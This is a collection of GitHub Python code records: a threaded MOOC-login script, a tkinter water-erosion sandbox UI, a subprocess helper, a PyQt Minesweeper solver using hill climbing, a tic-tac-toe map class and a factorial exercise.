self).unlink()","repo_name":"sefasenlik/PaLMS","sub_path":"student/models/student_proposal.py","file_name":"student_proposal.py","file_ext":"py","file_size_in_byte":10939,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"27831364881","text":"import threading\nimport pool_Login as Login\nfrom time import ctime, sleep\n# 20172027617\t123456\n# 20172027618\t123456\n# 20172027619\t123456\ndef tk1(name):\n    head = Login.requests_interface.login('20172027617','123456')\n    Login.requests_interface.start('xxdgaeiojkdp4a39rqtp1q')\n    print(ctime())\n\ndef tk2(code):\n    head = Login.requests_interface.login('20172027618','123456')\n    Login.requests_interface.start('xxdgaeiojkdp4a39rqtp1q')\n    print(ctime())\ndef tk3(code):\n    head = Login.requests_interface.login('20172027619','123456')\n    Login.requests_interface.start('xxdgaeiojkdp4a39rqtp1q')\n    print(ctime())\nthreads = []\n\n# 创建了threads数组，创建线程t1,使用threading.Thread()方法，\n# 在这个方法中调用music方法target=music，args方法对music进行传参。 把创建好的线程t1装到threads数组中。\n# 定义单元素的tuple有歧义，所以 Python 规定，单元素 tuple 要多加一个逗号“,”，这样就避免了歧义：\nt1 = threading.Thread(target=tk1, args=(u'伟大的闯爷之歌',))\nthreads.append(t1)\n\n# 接着以同样的方式创建线程t2，并把t2也装到threads数组。\nt2 = threading.Thread(target=tk2, args=(u'python代码',))\nthreads.append(t2)\n\nt3 = threading.Thread(target=tk3, args=(u'python代码',))\nthreads.append(t3)\n\nif __name__ == '__main__':\n    for t in threads:\n        # setDaemon(True)将线程声明为守护线程，必须在start() 方法调用之前设置，如果不设置为守护线程程序会被无限挂起。\n        # 子线程启动后，父线程也继续执行下去，\n        # 当父线程执行完最后一条语句print \"all over %s\" %ctime()后，没有等待子线程，直接就退出了，同时子线程也一同结束。\n        t.setDaemon(True);\n        # 开始线程活动\n        t.start()\n    t.join()\n    print(\"all over\", ctime())","repo_name":"maocili/Mooc","sub_path":"pool.py","file_name":"pool.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"37442920373","text":"from tkinter import *\nimport tkinter\nfrom tkinter import messagebox \nfrom tkinter.constants import TRUE\nfrom turtle import speed\nimport constants\nfrom world import *\n\nclass UI:\n    def __init__(self, world: World):\n        # root\n        root = Tk()\n        root.title(\"RisingWater\")\n        root.geometry(f'{constants.WINDOW_WIDTH}x{constants.WINDOW_HEIGHT}')\n        \n        # canvas\n        canvas = Canvas(root, width=constants.WINDOW_WIDTH-50, height=constants.WINDOW_HEIGHT-80)\n        canvas.configure(bg=\"White\")\n        canvas.grid(column=0,row=0,columnspan=6)\n\n        # speed\n        speed_widget = Scale(root, from_=1, to=constants.SPEED_STEPS, length = 200, orient=HORIZONTAL)\n        speed_widget.set(constants.DEFAULT_SPEED)\n\n        # class attributes\n        self.root = root\n        self.canvas = canvas\n        self.speed = speed_widget \n        self.world = World()\n        self.running = False\n        self.selected_block_type = \"earth\"\n        self.start_stop_text = tk.StringVar(value=\"Run\")\n        self.erosion = tkinter.IntVar(value=1)\n        self.start_stop_btn = None\n\n        btn_start_stop = Button(root, textvariable = self.start_stop_text,\n                command = self.toogle_start_stop, width=10, font=\"bold\",bg=\"green\",activebackground=\"lightgreen\")\n        btn_start_stop.grid(row=1, column=0)\n        self.start_stop_btn = btn_start_stop    \n        btn_clear_all = Button(root, text= \"Clear world\", command = self.clear_world, width=9, activebackground='#ff4444')\n        btn_clear_all.grid(row=2,column=0)\n        speed_label = Label(root,text=\"Which speed?\")\n        speed_label.grid(row=1,column=1,sticky=E)\n        speed_widget.grid(row=1,column=2)\n        erosion_label = Label(root,text=\"Erosion?\")\n        erosion_label.grid(row=2,column=1,sticky=E)\n        erosion_cbx = Checkbutton(root, variable=self.erosion)\n        erosion_cbx.grid(row=2,column=2,sticky=W,padx=20)\n        btn_save = Button(root, text =\"Save default\", command = world.save_default)\n        btn_save.grid(row=1,column=3)\n        btn_load = Button(root, text =\"Load default\", command = world.load_default)\n        btn_load.grid(row=2,column=3)\n        btn_save = Button(root, text =\"Save as\", command = world.save_as)\n        btn_save.grid(row=1,column=4)\n        btn_load = Button(root, text =\"Load \", command = world.load)\n        btn_load.grid(row=2,column=4)\n        btn_help = Button(root, text =\"Please help \\n me :( \", command = self.show_help)\n        btn_help.grid(row=1,column=5, rowspan=2,sticky=E)\n\n        # context\n        m = Menu(self.root, tearoff = 0)\n        m.add_command(label =\"air\", command = lambda arg1 = \"air\": self.set_selected_block_type(arg1))\n        m.add_command(label =\"water\", command = lambda arg1 = \"water\": self.set_selected_block_type(arg1))\n        m.add_command(label =\"earth\", command = lambda arg1 = \"earth\": self.set_selected_block_type(arg1))\n        m.add_command(label =\"sand\", command = lambda arg1 = \"sand\": self.set_selected_block_type(arg1))\n        m.add_command(label =\"water_entry\", command = lambda arg1 = \"water_entry\": self.set_selected_block_type(arg1))\n        m.add_command(label =\"water_exit\", command = lambda arg1 = \"water_exit\": self.set_selected_block_type(arg1))\n        canvas.bind(\"<Button-3>\", lambda event, arg1 = m: self.show_context_menu(event, arg1))\n\n        # drawing\n        canvas.bind('<ButtonPress-1>', lambda event, arg1 = world: self.on_down(event, arg1))\n        canvas.bind('<ButtonRelease-1>', lambda _, arg1 = world: self.on_up(arg1))\n        canvas.bind('<Motion>', lambda event, arg1 = world: self.mouse_move(event, arg1))\n        self. world = world\n        world.ui = self\n\n    def main(self):\n        '''\n        The core of the programm. This loop rans forever...\n        '''    \n        if self.running:\n            self.world.analyse_blocks()\n            self.world.move_blocks()\n            if self.erosion.get() == 1:\n                self.world.analyse_earth_blocks()\n                self.world.analyse_sand_blocks()\n            self.world.draw()\n            self.world.end_tick()\n            self.root.update()\n            self.draw_on_tick()\n        self.root.after(self.get_speed(), self.main)\n\n    def toogle_start_stop(self):\n        if self.running:\n            self.running = False\n            self.start_stop_text.set(\"Run\")\n            self.start_stop_btn.configure(bg=\"green\",activebackground=\"lightgreen\")\n        else:\n            self.running = True\n            self.start_stop_text.set(\"Stop\")\n            self.start_stop_btn.configure(bg=\"red\",activebackground=\"tomato\")\n\n    def show_help(self):\n        messagebox.showinfo(\"Some hints ;) \",\"1. Right Click for changing Block Type\\n2. You can disable the Erosion!\\n3. Use Load-/Save Default for quicker loading and saving\")\n        \n\n    def get_speed(self):\n        control_val = self.speed.get()\n        speed = (constants.SPEED_STEPS - control_val + 1) ** 3\n        return speed\n\n    def stop(self):\n        self.running = False\n\n    def set_selected_block_type(self, type):\n        self.selected_block_type = type\n\n    def clear_world(self):\n        previously_running = self.running\n        if self.running:\n            self.toogle_start_stop()\n        result = messagebox.askquestion(\"Clear the world\", \"Are you sure?\", icon='warning')\n        if result != 'yes':\n            if previously_running:\n                self.toogle_start_stop()\n            return\n        new_blocks = {}\n        for pos,block in self.world.blocks.items():\n            new_block = Block.get_block(\"air\", block.get_pos(), block.pol_ref,block.world)\n            new_blocks[(pos[X], pos[Y])] = new_block\n        self.world.blocks = new_blocks\n        self.world.draw()\n        self.root.update()\n\n    def get_block_references(self, world: World, x_pos: int, y_pos: int):\n        '''\n        gets the position and the associated polygon of a block\n        '''\n\n        # checks if the mouse is inside the canvas\n        if (x_pos >= constants.CANVAS_START + constants.BLOCK_SIZE * world.extend[X] or \n            y_pos >= constants.CANVAS_START + constants.BLOCK_SIZE * world.extend[Y] or \n            x_pos < constants.CANVAS_START or y_pos < constants.CANVAS_START):\n            return None, None\n\n        index_x = int((x_pos - constants.CANVAS_START) / constants.BLOCK_SIZE)\n        index_y = int((y_pos - constants.CANVAS_START) / constants.BLOCK_SIZE)\n        block_pos = (index_x, index_y)\n\n        # pol_ref = the polygon in the canvas to which the block is associated\n        pol_ref = world.blocks[block_pos].pol_ref\n\n        return pol_ref, block_pos\n\n    def change_block(self, mouse_pos, world: World):\n        '''\n        change a block to the selected block type\n        '''\n        pol_ref, block_pos = self.get_block_references(world, mouse_pos[X], mouse_pos[Y])\n\n        if pol_ref is not None:\n            color = constants.BLOCK_COLOR[self.selected_block_type]\n            world.canvas.itemconfig(pol_ref, fill = color)\n            new_block = Block.get_block(self.selected_block_type, pos=block_pos, pol_ref=pol_ref,world_ref=world)\n            world.blocks[block_pos] = new_block\n                \n    def on_down(self, event, world):\n        world.drawing = True\n        self.change_block((event.x, event.y), world)\n\n    def draw_on_tick(self):\n        if self.world.drawing:\n            abs_coord_x = self.root.winfo_pointerx() - self.root.winfo_rootx()\n            abs_coord_y = self.root.winfo_pointery() - self.root.winfo_rooty()\n            self.change_block((abs_coord_x,abs_coord_y), self.world)\n        pass\n\n    def mouse_move(self, event, world):\n        if world.drawing:\n            self.change_block((event.x, event.y), world)\n\n    def on_up(self, world):\n        world.drawing = False\n\n    def show_context_menu(self, event, m):\n        try:\n            m.tk_popup(event.x_root, event.y_root)\n        finally:\n            m.grab_release()","repo_name":"chriiz1/RisingWater","sub_path":"user_interface.py","file_name":"user_interface.py","file_ext":"py","file_size_in_byte":7933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29743839212","text":"from subprocess import Popen, PIPE\n\ndef run_cmd(cmd, print_result=True):\n    print(f'[-] Run command: {\" \".join(cmd)}')\n    p = Popen(\n        cmd,\n        shell=False,\n        stdout=PIPE,\n        stderr=PIPE\n    )\n    stdout, stderr = p.communicate()\n    if stdout and print_result:\n        print(stdout.decode())\n    if stderr and print_result:\n        print(stderr.decode())\n    return p.returncode == 0\n\ndef order_version(a):\n    return [int(i) if i.isdigit() else i for i in a.split('.')]","repo_name":"Shinjjanggu/MajakPlusKorean","sub_path":"data/src/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"35"}
{"seq_id":"36412311547","text":"\"\"\"\n#######################\nNAME: AYUSH JAIN\nID: 2017A7PS0093P\n######################\n\"\"\"\n\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nimport random\nimport sys\nimport time\n\n\n\nclass Tile(QWidget):\n\n    expandable = pyqtSignal(int, int)\n    revealed = pyqtSignal(object)\n    clicked = pyqtSignal()\n\n    def __init__(self, x , y):\n\n        super().__init__()\n\n\n        self.setFixedSize(QSize(25, 25))\n        self.x = x\n        self.y = y\n\n        self.initialize()\n\n    def initialize(self):\n        \"\"\"Contains the states of the mines\"\"\"\n\n        self.is_mine = False\n        self.number = 0\n        self.is_revealed = False\n        self.is_flagged = False\n        self.is_clicked = False\n\n        self.update()\n\n    def set_flag(self):\n        \"\"\"Sets flag on discovered mines\"\"\"\n\n        self.is_flagged = True\n        self.reveal()\n\n\n\n    def reveal(self):\n        \"\"\"Reveal the tile\"\"\"\n\n        self.is_revealed = True\n        self.update()\n        self.revealed.emit(self)\n\n    def undo_reveal(self):\n        \"\"\"Undo Reveal of tile\"\"\"\n\n        self.is_revealed = False\n        self.update()\n        self.revealed.emit(self)\n\n\n    def left_click(self):\n        \"\"\"Emulates the functionality of left click in real Minesweeper\"\"\"\n\n        self.revealed.emit(self)\n\n        if self.number == 0:\n            self.expandable.emit(self.row,  self.col)\n        self.clicked.emit()\n\n\n    def paintEvent(self, event):\n\n        pane = QPainter(self)\n        pane.setRenderHint(QPainter.Antialiasing)\n\n        object = event.rect()\n\n        #Conditions if the square is is_revealed\n\n        if self.is_revealed:\n\n            if not self.is_clicked:\n                pane.fillRect(object, QBrush(Qt.green))\n                pen = QPen(Qt.green)\n            else:\n                pane.fillRect(object, QBrush(Qt.blue))\n                pen = QPen(Qt.blue)\n            pen.setWidth(1)\n            pane.setPen(pen)\n            pane.drawRect(object)\n\n            if self.is_mine and not self.is_flagged:\n\n                pane.drawPixmap(object, QPixmap(\"bomb.png\"))\n\n            elif self.is_flagged:\n                pane.drawPixmap(object, QPixmap(\"flag.png\"))\n                pane.setOpacity(0.3)\n                pane.drawPixmap(object, QPixmap(\"bomb.png\"))\n\n\n            elif self.number > 0:\n\n                pen = QPen(Qt.red)\n                pane.setPen(pen)\n                font = pane.font()\n                font.setBold(True)\n                pane.setFont(font)\n\n                pane.drawText(object, Qt.AlignHCenter | Qt.AlignVCenter, str(self.number))\n\n        else:\n\n            pane.fillRect(object, QBrush(Qt.lightGray))\n            pen = QPen(Qt.gray)\n            pen.setWidth(1)\n            pane.setPen(pen)\n            pane.drawRect(object)\n\n\n\n\n            if self.is_mine:\n                pane.setOpacity(0.3)\n                pane.drawPixmap(object, QPixmap(\"bomb.png\"))\n\n\nclass Minesweeper(QMainWindow):\n\n    def __init__(self, row, col, num_mines):\n        super().__init__()\n\n\n        self.row = row\n        self.col = col\n        self.num_mines = num_mines\n        self.is_started = False\n        self.is_over = False\n        self.var = 101\n\n        self.setWindowTitle(f\"AI Minesweeper : {self.row} X {self.col}\")\n\n        window = QWidget()\n        layout = QHBoxLayout()\n\n        self.mines = QLabel()\n        self.mines.setAlignment(Qt.AlignHCenter | Qt.AlignVCenter)\n\n        self.next_button = QPushButton()\n        self.next_button.setFixedSize(QSize(50, 50))\n        self.next_button.setStyleSheet('QPushButton {background-color: #000000; color: red;}')\n        self.next_button.setText('Next')\n\n        self.next_button.pressed.connect(self.take_step)\n\n        self.mines.setText(f\"Mines: {self.num_mines}\")\n\n        font = self.mines.font()\n        font.setPointSize(20)\n        font.setWeight(65)\n        self.mines.setFont(font)\n        self.mines.setFont(font)\n\n        self.num_steps = 0\n        self.steps = QLabel()\n        self.steps.setAlignment(Qt.AlignHCenter | Qt.AlignVCenter)\n        self.steps.setText(f\"Steps: {self.num_steps}\")\n        font = self.steps.font()\n        font.setPointSize(20)\n        font.setWeight(65)\n        self.steps.setFont(font)\n        self.steps.setFont(font)\n\n\n\n        self.button = QPushButton()\n        self.button.setFixedSize(QSize(50, 50))\n        self.button.setStyleSheet('QPushButton {background-color: #000000; color: red;}')\n        self.button.setText('Start')\n\n        self.button.pressed.connect(self.start_option)\n\n        self.mines_label = QLabel()\n        self.mines_label.setAlignment(Qt.AlignHCenter | Qt.AlignVCenter)\n        self.mines_label.setText(\"Mines: \")\n\n\n        layout.addWidget(self.steps)\n        layout.addWidget(self.mines)\n        layout.addWidget(self.button)\n        layout.addWidget(self.next_button)\n\n\n        vert_layout = QVBoxLayout()\n        vert_layout.addLayout(layout)\n\n        self.grid = QGridLayout()\n        self.grid.setSpacing(5)\n\n        vert_layout.addLayout(self.grid)\n        window.setLayout(vert_layout)\n        self.setCentralWidget(window)\n\n        self.init_map()\n        self.reset_map()\n\n        self.show()\n\n\n\n\n\n\n    def start_option(self):\n        \"\"\"Changes Flag\"\"\"\n\n        if self.is_started == False:\n            self.is_started = True\n            print(\"Your Game has Started\")\n\n            r, c = random.randint(0, self.row - 1), random.randint(0, self.col - 1)\n            tile = self.grid.itemAtPosition(r, c).widget()\n            while tile.is_mine:\n                r, c = random.randint(0, self.row - 1), random.randint(0, self.col - 1)\n                tile = self.grid.itemAtPosition(r, c).widget()\n\n            tile.is_clicked = True\n            list = self.open_area(r, c)\n\n\n            for w in list:\n\n                w.reveal()\n\n    def schedule(k=10, lam=0.005, limit=100):\n        return lambda t: (k * math.exp(-lam * t) if t < limit else 0)\n\n\n\n    def take_step(self):\n        \"\"\"Executes a move\"\"\"\n\n        if self.is_over:\n            if self.num_mines == 0:\n                print(\"You Won!!\")\n            print(\"Game over\")\n            return\n        print(\"Flagging the sure mines in this state\")\n        self.flag_definite_bomb()\n\n\n        print(\"Computing for Next Best Move\")\n\n        tile_heurestic_list = []\n        list_states = self.get_next_step_list()\n        parent_heurestic = self.heurestic()\n        for tile_coords in list_states:\n            tile = self.grid.itemAtPosition(tile_coords[0], tile_coords[1]).widget()\n            list = self.nextState(tile_coords)\n            h_value = self.heurestic()\n            h_value_difference = h_value - parent_heurestic\n            h_value_tie_break = self.num_open_tiles()\n            tile_heurestic_list.append((tile_coords, h_value_difference, h_value_tie_break))\n\n            print(f\"The heurestic value for tile at {tile_coords} is {h_value}\")\n\n            for w in list:\n                w.undo_reveal()\n\n        self.hill_climbing(tile_heurestic_list)\n        #self.stimulated_annealing(tile_heurestic_list, 0.5, self.var)\n        self.num_steps = self.num_steps + 1\n        self.steps.setText(f\"Steps: {self.num_steps}\")\n\n\n\n\n    def init_map(self):\n        \"\"\"Added boxes on GUI\"\"\"\n\n        for r in range(self.row):\n            for c in range(self.col):\n                box = Tile(r, c)\n                self.grid.addWidget(box, r, c)\n\n                #box.clicked.connect(self.trigger_start)\n                #box.revealed.connect(self.on_reveal)\n                #box.expandable.connect(self.expand_reveal)\n\n        #QTimer.singleshot(0, lambda: self.resize(1, 1))\n\n    def reset_map(self):\n        \"\"\"Resets everything to inital state\"\"\"\n\n        self.reset_position()\n        self.add_mines()\n        self.reset_adjacency()\n\n\n    def reset_position(self):\n        \"\"\"Clears the position of mines\"\"\"\n\n        for r in range(self.row):\n            for c in range(self.col):\n                box = self.grid.itemAtPosition(r, c).widget()\n                box.initialize()\n\n    def add_mines(self):\n        \"\"\"Returns the positions of the mines as a list\"\"\"\n        mine_locations = []\n\n        while len(mine_locations) < self.num_mines:\n\n            r, c = random.randint(0, self.row - 1), random.randint(0, self.col - 1)\n            # Sanity check if we are not repeating the mines\n\n            if (r, c) not in mine_locations:\n\n                box = self.grid.itemAtPosition(r, c).widget()\n                box.is_mine = True\n\n                mine_locations.append((r, c))\n        self.end_game_condition = (self.row * self.col) - (self.num_mines + 1)\n\n        return mine_locations\n\n\n    def calculate_number(self, x, y):\n        \"\"\"Returns mines surrounding the x, y tile\"\"\"\n\n        sum = 0\n\n        if x - 1 >= 0:\n            sum = sum + self.grid.itemAtPosition(x - 1, y).widget().is_mine\n\n            if y - 1 >= 0:\n                sum = sum + self.grid.itemAtPosition(x - 1, y - 1).widget().is_mine\n\n            if y + 1 < self.row:\n                sum = sum + self.grid.itemAtPosition(x - 1, y + 1).widget().is_mine\n\n\n        if x + 1 < self.col:\n            sum = sum + self.grid.itemAtPosition(x + 1, y).widget().is_mine\n\n            if y - 1 >= 0:\n                sum = sum + self.grid.itemAtPosition(x + 1, y - 1).widget().is_mine\n\n            if y + 1 < self.row:\n                sum = sum + self.grid.itemAtPosition(x + 1, y + 1).widget().is_mine\n\n        if y - 1 >= 0:\n\n            sum = sum + self.grid.itemAtPosition(x, y - 1).widget().is_mine\n\n        if y + 1 < self.row:\n\n            sum = sum + self.grid.itemAtPosition(x, y + 1).widget().is_mine\n\n        return sum\n\n\n\n    def reset_adjacency(self):\n        \"\"\"Calculates adjacency of every tile and store it in Tile\"\"\"\n        for r in range(self.row):\n            for c in range(self.col):\n                tile = self.grid.itemAtPosition(r, c).widget()\n                tile.number = self.calculate_number(r, c)\n\n\n\n    def return_surrounding(self, x, y):\n        \"\"\"Returns mines surrounding the x, y tile\"\"\"\n\n        list = []\n\n        if x - 1 >= 0:\n            list.append((x - 1, y))\n\n            if y - 1 >= 0:\n                list.append((x - 1, y - 1))\n\n            if y + 1 < self.row:\n                list.append((x - 1, y + 1))\n\n\n        if x + 1 < self.col:\n            list.append((x + 1, y))\n\n            if y - 1 >= 0:\n                list.append((x + 1, y - 1))\n\n            if y + 1 < self.row:\n                list.append((x + 1, y + 1))\n\n        if y - 1 >= 0:\n\n            list.append((x, y - 1))\n\n        if y + 1 < self.row:\n\n            list.append((x, y + 1))\n\n        return list\n\n\n\n    def num_open_tiles(self):\n        \"\"\"Returns number of open spaces - used for tie-breaking\"\"\"\n\n        open_tiles = 0\n        for r in range(self.row):\n            for c in range(self.col):\n                tile = self.grid.itemAtPosition(r, c).widget()\n                if tile.is_revealed or tile.is_flagged:\n                    open_tiles = open_tiles + 1\n        return open_tiles\n\n\n\n\n    def count_bombs(self, list):\n        \"\"\"Returns the number of Bombs in a list\"\"\"\n\n        sum = 0\n        for t in list:\n\n            tile = self.grid.itemAtPosition(t[0], t[1]).widget()\n            if tile.is_flagged:\n                sum = sum + 1\n\n        return sum\n\n    def info_closed(self, list):\n        \"\"\"Returns the number and list of closed tiles\"\"\"\n\n        sum = 0\n        closed_list = []\n        for t in list:\n\n            tile = self.grid.itemAtPosition(t[0], t[1]).widget()\n            if (not tile.is_revealed) and (not tile.is_flagged):\n                sum = sum + 1\n                closed_list.append(tile)\n\n        return sum, closed_list\n\n    def get_revealed_tiles(self):\n        \"\"\"Returns the revealed tiles list\"\"\"\n\n        list = []\n        for r in range(self.row):\n            for c in range(self.col):\n                tile = self.grid.itemAtPosition(r, c).widget()\n                if tile.is_revealed:\n                    list.append(tile)\n        return list\n\n    def get_flagged_tiles(self):\n        \"\"\"Returns the number of flagged tiles\"\"\"\n\n        sum = 0\n        for r in range(self.row):\n            for c in range(self.col):\n                tile = self.grid.itemAtPosition(r, c).widget()\n                if tile.is_flagged:\n                    sum = sum + 1\n        return sum\n\n    def flag_definite_bomb(self):\n        \"\"\"Based on revealed digits, flag the definite mine positions\"\"\"\n\n        count = 0\n        revealed = self.get_revealed_tiles()\n        for tile in revealed:\n\n            #get position of the tile\n            if tile.number > 0:\n                idx = self.grid.indexOf(tile)\n                location = self.grid.getItemPosition(idx)\n                row, col = location[:2]\n\n                list = self.return_surrounding(row, col)\n\n                num_surrounding_bombs = self.count_bombs(list)\n\n                num_close_tiles, list_closed_tiles = self.info_closed(list)\n\n                variability = tile.number - num_surrounding_bombs\n                print(f\"{variability}, {tile.number}, {num_close_tiles}, {row}, {col}\")\n\n                if variability == num_close_tiles:\n                    for tile in list_closed_tiles:\n                        print(f\"{row}, {col}\")\n                        self.num_mines = self.num_mines - 1\n                        self.mines.setText(f\"Mines: {self.num_mines}\")\n                        tile.set_flag()\n\n        return count\n            \n\n    def heurestic(self):\n        \"\"\"Based on revealed digits, count the definite mine positions\"\"\"\n\n        count = 0\n        revealed = self.get_revealed_tiles()\n        for tile in revealed:\n\n            #get position of the tile\n            idx = self.grid.indexOf(tile)\n            location = self.grid.getItemPosition(idx)\n            row, col = location[:2]\n            list = self.return_surrounding(row, col)\n\n            num_surrounding_bombs = self.count_bombs(list)\n\n            num_close_tiles, list_closed_tiles = self.info_closed(list)\n\n            variability = tile.number - num_surrounding_bombs\n\n            if variability == num_close_tiles:\n                count = count + len(list_closed_tiles)\n\n        return count + self.get_flagged_tiles()\n\n    def get_next_step_list(self):\n        \"\"\"Returns possible steps it can take\"\"\"\n\n        list = []\n\n        for r in range(self.row):\n            for c in range(self.col):\n                tile = self.grid.itemAtPosition(r, c).widget()\n                if not tile.is_revealed:\n                    list.append((r, c))\n\n        return list\n\n\n\n    def open_area(self, x, y):\n        \"\"\"Opens the area when clicked on a tile\"\"\"\n\n        open_queue =  [(x, y)]\n        reveal_queue = []\n        flag = True\n\n        tile = self.grid.itemAtPosition(x , y).widget()\n        reveal_queue.append(tile)\n        if tile.is_mine:\n            return reveal_queue\n\n        while flag:\n            flag = False\n            list = open_queue\n            open_queue = []\n\n\n            for x, y in list:\n                positions = self.return_surrounding(x, y)\n                for w1 in positions:\n                    w = self.grid.itemAtPosition(w1[0], w1[1]).widget()\n\n                    if not w.is_mine and w not in reveal_queue:\n                        reveal_queue.append(w)\n                        if w.number == 0:\n                            open_queue.append((w.x, w.y))\n                            flag = True\n        return reveal_queue\n\n\n    def nextState(self, tile_coords):\n        \"\"\"Generates next state\"\"\"\n        #tile is the tile we would click\n\n        r = tile_coords[0]\n        c = tile_coords[1]\n\n        initial_open = self.get_revealed_tiles()\n        new_open_list = self.open_area(r, c)\n\n        new_change_list = list(set(new_open_list) - set(initial_open))\n        #print(new_open_list)\n        #print(new_change_list)\n        for w in new_change_list:\n\n            w.reveal()\n\n        return new_change_list\n\n\n    def heurestic_2(self):\n        \"\"\"Calculates heurestic for the present board condition by summing the numbers on the tile\"\"\"\n\n        sum = 0\n        for r in range(self.row):\n            for c in range(self.col):\n                tile = self.grid.itemAtPosition(r, c).widget()\n                if tile.is_revealed:\n                    sum = sum + tile.number\n        return sum\n\n    def hill_climbing(self, list):\n        \"\"\"Takes the forward step, depending on list of heuristic and tile locations\"\"\"\n\n        best_child_list = []\n        #print(list)\n        if len(list) == 0:\n            self.is_over = True\n            return\n        best_hvalue = max(list, key=lambda i: i[1])[1]\n        for item in list:\n            if item[1] == best_hvalue:\n                best_child_list.append(item)\n\n        if len(best_child_list) != 1:\n\n            print(\"Breaking the equal heurestic case\")\n            best_tie_break = max(best_child_list, key=lambda i: i[2])\n\n            print(f\"The maximum value for tie break is for {best_tie_break[0]} with tie-break value {best_tie_break[2]}\")\n            print(\"Opening the tile\")\n            r = best_tie_break[0][0]\n            c = best_tie_break[0][1]\n            self.nextState((r, c))\n\n        else:\n            r = ((best_child_list[0])[0])[0]\n            c = ((best_child_list[0])[0])[1]\n            print(f\"The best tile is {r, c} with heurestic {best_hvalue}\")\n            self.grid.itemAtPosition(r, c).widget().is_clicked = True\n            self.nextState((r, c))\n\n    def simulated_annealing(self, list, thresh, t):\n        \"\"\"simulated_annealing Implemented\"\"\"\n\n        best_child_list = []\n        #print(list)\n\n        T = schedule(t)\n        if len(list) == 0:\n            self.is_over = True\n            return\n\n        while True:\n            next_choice = random.choice(list)\n\n            delta_e = next_choice[1] - self.heurestic()\n            if delta_e > 0 or math.exp(delta_e / T) > thresh:\n                self.nextState(next_choice[0][0], next_choice[0][1])\n                return\n\n\n\n\n\n\n\n#########################################\n# driver\n\nprint(\"Welcome to the minesweeper game\")\nprint(\"\\nI can solve even challenging problems like 15 by 15 with 100 mines\")\nprint(\"\\nEnter value of row of game: \", end=\"\")\nrow_input = int(input())\nprint(\"\\nEnter value of column of game: \", end=\"\")\ncol_input = int(input())\nprint(\"\\nEnter number of mines: \", end=\"\")\nmines_input = int(input())\n\n# Memory profiling\n\napp = QApplication(sys.argv)\nex = Minesweeper(row_input, col_input, mines_input)\nsys.exit(app.exec_())\n","repo_name":"ayushjain1144/AI_MineSweeper","sub_path":"minesweeeper.py","file_name":"minesweeeper.py","file_ext":"py","file_size_in_byte":18531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5639071889","text":"from Other import Other\nfrom textwrap import dedent\n\n\nclass Map(object):\n    def __init__(self):\n        # initial map\n        self.map_len = 3\n        self.map_table = [[0 for i in range(0, self.map_len)] for i in range(0, self.map_len)]\n        self.other = Other()\n        # print(self.other.num_to_symbol_list(self.map_table[1]))\n\n    def plot_map(self):  # plot the map\n        print(\"Current Map\")\n        print(\"_\" * 7)\n        for i in range(0, self.map_len):\n            print(\"|{}|{}|{}|\".format(*self.other.num_to_symbol_list(self.map_table[i])))\n        print(\"_\" * 7)\n\n    def plot_coordinates(self):  # plot the coordinates\n        print(\"These are the supported coordinates: \")\n        print(\"-\" * 22)\n        print(\"_\" * 22)\n        for i in range(0, self.map_len):\n            print(\"|{}|{}|{}|\".format(*[[i + 1, 1], [i + 1, 2], [i + 1, 3]]))\n        print(\"_\" * 22)\n        print(\"-\" * 22)\n        print(dedent(\"\"\"\n        Don't use parentheses, is enough using, e.g.: \n        * 1,3 for [1,3]\n        * 1.3 for [1,3]\n        or even:\n        * 13 for [1,3]\n        \"\"\"))\n\n    def populate_table(self, map_position, value):  # 'inhabit' the map\n        # unpack the map position\n        map_x, map_y = map_position\n\n        # If the coordinates are inside the map\n        if (map_x in range(0, self.map_len)) and (map_y in range(0, self.map_len)):\n            # If the map position is empty\n            if self.map_table[map_x][map_y] == 0:\n                self.map_table[map_x][map_y] = value\n                return True\n            else:\n                print(f\"Position {[coord + 1 for coord in map_position]} already occupied!\")\n                return False\n        else:\n            print(\"Invalid position x = {}, y = {}\".format(*[coord + 1 for coord in map_position]))\n            self.plot_coordinates()\n            return False\n\n    def present_yourself(self):\n        welcome_str = \"Welcome to the Tic Tac Toe game!\"\n        print(\"#\" * len(welcome_str))\n        print(welcome_str)\n        print(\"#\" * len(welcome_str))\n\n\nif __name__ == '__main__':\n    m = Map()\n    m.plot_map()\n    m.plot_coordinates()\n","repo_name":"seba2211/tictactoe","sub_path":"Map.py","file_name":"Map.py","file_ext":"py","file_size_in_byte":2133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8299549138","text":"'''\r\n3. Write a Python function to calculate the factorial of a number (a non-negative integer). The\r\nfunction accepts the number as an argument.\r\n'''\r\ndef fact(num):\r\n    if num == 1 or num == 0:\r\n        return 1\r\n    else:\r\n        return num * fact(num - 1)\r\n\r\n\r\nnumb = int(input(\"Enter a number: \"))\r\nif numb < 0:\r\n    print(\"Number is invalid\")\r\nelse:\r\n    print(f\"The factorial is : {fact(numb)}\")\r\n","repo_name":"Rajin69930/Power-Workshop","sub_path":"Jan 19/Assignment/Functions/Q3.py","file_name":"Q3.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
